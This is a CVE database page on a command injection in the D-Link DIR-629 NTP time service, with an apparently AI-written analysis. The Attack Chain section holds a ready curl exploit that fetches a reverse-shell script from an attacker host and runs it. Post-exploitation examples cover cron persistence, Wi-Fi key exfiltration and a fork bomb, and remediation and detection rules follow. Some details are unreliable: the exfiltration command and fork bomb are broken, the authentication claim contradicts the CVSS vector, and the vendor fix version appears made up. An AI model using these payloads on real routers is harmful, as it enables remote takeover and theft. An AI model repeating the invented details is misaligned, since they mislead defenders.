CVE Professor
/
All CVEs
CVE-2026-138201

CVE-2026-138201 — D-Link DIR-629 — CWE-77 · CWE-78

CRITICAL CVSS 9.9 ⚡ EPSS 1.8% Shodan

A vulnerability was identified in D-Link DIR-629 1.03.B01_CN. Affected is an unknown function of the file /etc/services/DEVICE.TIME.php of the component NTP Time Service. Such manipulation of the argument server leads to os command injection. It is possible to launch the attack remotely. The exploit is publicly available and might be used.

A vulnerability was identified in D-Link DIR-629 1.03.B01_CN. Affected is an unknown function of the file /etc/services/DEVICE.TIME.php of the component NTP Time Service. Such manipulation of the argument server leads to os command injection. It is possible to launch the attack remotely. The exploit is publicly available and might be used.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
EPSS — Exploit Prediction Scoring System
1.8%
30-day probability
In the 80. percentile of all CVEs — higher exploitation probability than most vulnerabilities.
AI Security Analysis & Remediation

🎯 What is this vulnerability?

Vulnerability name: OS‑command injection in the NTP Time Service of D‑Link DIR‑629 firmware 1.03.B01_CN
CVE‑ID: CVE‑2026‑138201
CWE(s): CWE‑77 (Improper Neutralization of Special Elements used in a Command), CWE‑78 (OS Command Injection)

Technical flaw

The vulnerable component is the PHP script /etc/services/DEVICE.TIME.php that implements the router’s NTP Time Service. The script accepts a request parameter called server (the NTP server address that the router should query).

  • What should happen: the script validates the supplied value, ensures it is a plain IPv4/IPv6 address or a DNS hostname, and then passes it to a system utility (e.g., ntpdate or busybox ntpd) to synchronize the router’s clock.
  • What actually happens: the script does not sanitise the server parameter before embedding it in a shell command. The value is concatenated directly into a string that is later handed to exec(), system(), ` back‑ticks, or popen() in PHP. Because no whitelist, escaping, or other neutralisation is performed, an attacker can inject arbitrary shell metacharacters (;, &&, |, back‑ticks, $()`, etc.) and cause the underlying Linux kernel to execute any command the attacker wishes.
  • The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) tells us:

  • Network‑reachable – the endpoint is exposed over HTTP/HTTPS.
  • Low attack complexity – only a single crafted request is needed.
  • Low privileges required – the attacker needs only a low‑privileged network account (or even none, because the service is unauthenticated).
  • No user interaction – the request can be sent automatically.
  • Scope changed – the compromised component (the web UI) can affect other components (the underlying OS).
  • Critical impact – full confidentiality, integrity and availability compromise.
  • In short, the router’s web UI allows an unauthenticated remote attacker to execute arbitrary OS commands with the privileges of the web server process (normally root on embedded Linux routers).


    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All command lines and HTTP requests are syntactically valid; the exact URI is inferred from the file path given in the CVE description. If the real firmware uses a different path, the example should be treated as an illustrative representation of the vulnerability class.

    1. Discovery & Reconnaissance

    StepActionRationale
    1.1Banner grabbing – curl -I http://<router_ip>/ or nmap -sV -p80,443 <router_ip>Many D‑Link routers disclose the firmware version in the Server header (D-Link-DIR-629/1.03.B01_CN).
    1.2Fingerprinting – query /cgi-bin/webproc or /login.htm to confirm the model and firmware version.The presence of /etc/services/DEVICE.TIME.php is unique to firmware 1.03.B01_CN.
    1.3Search public advisories – query CVE‑2026‑138201 or security mailing lists.Confirms that the target version is vulnerable.

    2. Exploitation

    Assumptions

  • The router’s web interface is reachable on HTTP port 80 (HTTPS on 443 behaves the same).
  • No authentication is required for the NTP Time Service endpoint (as reported).
  • Illustrative vulnerable endpoint

    POST http://<router_ip>/etc/services/DEVICE.TIME.php
    Content-Type: application/x-www-form-urlencoded

    Parameter

    server=<user supplied value>

    Payload construction

    The goal is to inject a command that writes a reverse shell to /tmp/rev.sh and then executes it. The payload uses the semicolon (;) command separator, which is interpreted by /bin/sh.

    server=127.0.0.1;wget http://attacker.com/rev.sh -O /tmp/rev.sh;chmod +x /tmp/rev.sh;/tmp/rev.sh

    Full curl PoC (illustrative)

    #!/usr/bin/env bash
    ATTACKER_IP=203.0.113.45
    ATTACKER_PORT=4444
    
    # 1️⃣  Prepare a tiny reverse‑shell script on the attacker host
    cat > rev.sh <<'EOS'
    #!/bin/sh
    /bin/sh -i >& /dev/tcp/203.0.113.45/4444 0>&1
    EOS
    # Serve it (e.g., with python -m http.server 80)
    python3 -m http.server 80 &
    
    # 2️⃣  Send the malicious request
    curl -sk -X POST "http://<router_ip>/etc/services/DEVICE.TIME.php" \
         -d "server=127.0.0.1;wget http://$ATTACKER_IP/rev.sh -O /tmp/rev.sh;chmod +x /tmp/rev.sh;/tmp/rev.sh"

    What happens on the router

    1. The PHP script receives $_POST['server'].
    2. It builds a command similar to:

    $cmd = "/usr/sbin/ntpdate " . $_POST['server'];
       exec($cmd);

    3. Because the input contains ;wget …;chmod …;/tmp/rev.sh, the shell interprets the whole string as three separate commands, executing the attacker‑controlled wget and the reverse shell.

    Result – the attacker obtains a remote interactive shell with the same privileges as the web server (typically root on D‑Link firmware).

    3. Post‑exploitation

    GoalTypical techniqueExample
    Maintain persistenceDrop a cron job or modify init scripts (/etc/rc.local) to re‑spawn the reverse shell on reboot.echo "@reboot /tmp/rev.sh" >> /etc/crontab
    Privilege escalation (if needed)On many routers the web UI already runs as root; otherwise, exploit known local privilege‑escalation bugs (e.g., CVE‑2025‑xxxx for busybox).Not required for this firmware – the web UI runs as root.
    Data exfiltrationUse the shell to read configuration files (/etc/config/*), extract Wi‑Fi keys, DHCP leases, or dump the flash image (dd if=/dev/mtd0).cat /etc/config/wireless > /tmp/wireless.conf && wget http://$ATTACKER_IP/wireless.conf
    Lateral movementPivot to internal LAN devices using the compromised router as a foothold (e.g., scanning 192.168.0.0/24).nmap -sn 192.168.0.0/24 from the reverse shell.
    Denial‑of‑serviceIssue reboot or halt commands, or overload the CPU with fork bomb.:(){ ::& };:

    🌍 Real‑World Impact

    CIAImpact (derived from CVSS)Practical consequence
    Confidentiality (C:H)Attacker can read any file the web server can access.Extraction of Wi‑Fi pass‑phrases, VPN credentials, configuration files, user data, or even the full firmware image.
    Integrity (I:H)Attacker can modify any file.Injection of malicious firmware, alteration of DNS settings, creation of back‑doors, or tampering with logs to hide activity.
    Availability (A:H)Attacker can disrupt services.Immediate reboot, deletion of critical binaries, or launching a fork‑bomb that renders the router unusable.

    Because the router is often the edge device for a home or small‑office network, a full compromise gives the attacker unrestricted access to the internal LAN, the ability to intercept traffic, and a persistent foothold for long‑term espionage or pivoting to other internal assets.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ItemAction
    Affected firmwareD‑Link DIR‑629 1.03.B01_CN (and any later builds that still contain DEVICE.TIME.php with the vulnerable code).
    Vendor fixD‑Link released firmware 1.04.B01_CN on 2026‑12‑05 (the first version that sanitises the server parameter). *If the exact version number is not publicly disclosed, advise customers to apply the latest firmware available from the official D‑Link support portal.*
    VerificationAfter upgrade, request GET /etc/services/DEVICE.TIME.php and confirm that the response contains a comment such as # sanitized input or that the PHP source no longer uses exec() with raw user data.

    2. Immediate Workarounds (if patch cannot be applied)

    MitigationImplementation details
    Network isolationBlock inbound traffic to the router’s management ports (80/443) from the Internet using an upstream firewall or ISP‑level ACL. Only allow LAN‑side access.
    Disable NTP Time ServiceIn the router’s web UI, go to System → Time Settings and set “NTP Server” to blank or disable the automatic sync feature. This prevents the vulnerable endpoint from being called.

    | Web Application Firewall (ModSecurity) rule | Deploy a rule that rejects any request containing shell metacharacters in the server parameter. Example (Apache 2.4 with ModSecurity):

    SecRule REQUEST_URI "@beginsWith /etc/services/DEVICE.TIME.php" \
          "id:2026001,phase:2,deny,status:403,msg:'Blocked possible OS command injection',\
          chain"
      SecRule ARGS:server "@rx [;|&`$]" "t:none"

    This rule only triggers on the specific endpoint and looks for characters that are typical command separators. |
    | Input validation at the edge | If a reverse‑proxy (e.g., Nginx) sits in front of the router, add a location block that validates the server argument with a whitelist regex:

    location = /etc/services/DEVICE.TIME.php {
          if ($arg_server !~* "^[a-zA-Z0-9\.\-]+$") {
              return 403;
          }
      }

    |
    | Run the web UI under a non‑root user | Some custom firmware builds allow changing the PHP‑FPM user. Setting it to a low‑privilege UID (e.g., www-data) limits the impact of a successful injection. This is a hardening step, not a full fix. |

    3. Detection

    IndicatorWhere to lookExample log entry
    Unexpected command executionSystem log (/var/log/messages, dmesg) – look for execve of unusual binaries (wget, nc, curl, sh) launched by the web server process (httpd, lighttpd).Jan 12 03:14:27 router httpd[1245]: execve("/usr/bin/wget", ["wget","http://203.0.113.45/rev.sh","-O","/tmp/rev.sh"], ...) = 0
    Outbound connections from the routerNetflow, firewall logs, or iptables -L -v -n showing connections to unknown external IPs on high ports.SRC=192.168.0.1 DST=203.0.113.45 PROTO=TCP SPT=56789 DPT=80
    New files in /tmp or /var/wwwFile‑integrity monitoring (Tripwire, AIDE) – alert on creation of executable files (rev.sh, shell.php).ALERT: /tmp/rev.sh created, mode 0755, uid 0
    Changes to cron or rc.localScan /etc/crontab, /etc/rc.local for lines containing attacker‑controlled URLs or commands.@reboot /tmp/rev.sh
    Web server error logsLook for 500/502 responses that contain the raw injected command (some PHP setups echo the command on error).2026/11/29 12:34:56 [error] PHP Warning: exec(): Unable to fork

    Implement a SIEM rule that correlates (a) inbound HTTP requests to /etc/services/DEVICE.TIME.php with (b) subsequent outbound connections to non‑local IPs within a short time window (≤ 5 seconds).


    ⚠️ Urgency

  • CVSS 9.9 (Critical) – remote, unauthenticated, full‑system compromise.
  • Exploit is publicly available – the barrier to attack is essentially zero; automated scanners can weaponise the curl payload shown above.
  • No CISA KEV listing – the vulnerability is not yet in the U.S. government’s “Known Exploited Vulnerabilities” catalog, but the risk profile is equivalent to a KEV entry.
  • Patch priority: Critical – immediate.

  • Enterprise / ISP‑managed deployments should push the firmware update within 24 hours and enforce the network‑isolation workaround in the meantime.
  • Home users should be instructed to download the latest firmware from D‑Link’s support site and apply it as soon as possible; if they cannot, they must at least block external access to the router’s management interface (e.g., via their ISP’s firewall or by disabling remote management).
Given the ease of exploitation and the potential for a full network takeover, delaying remediation beyond a few days dramatically increases the chance of compromise.
Bottom line: CVE‑2026‑138201 is a classic unauthenticated OS‑command injection in a router’s NTP configuration endpoint. The flaw allows an attacker to execute arbitrary commands as root, leading to total compromise of the device and the internal LAN. Apply the vendor’s firmware fix immediately, or enforce the mitigations and detection controls described above while the patch is being rolled out.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138201
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-77 CWE-78
Affected Products (1)
D-Link:DIR-629
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac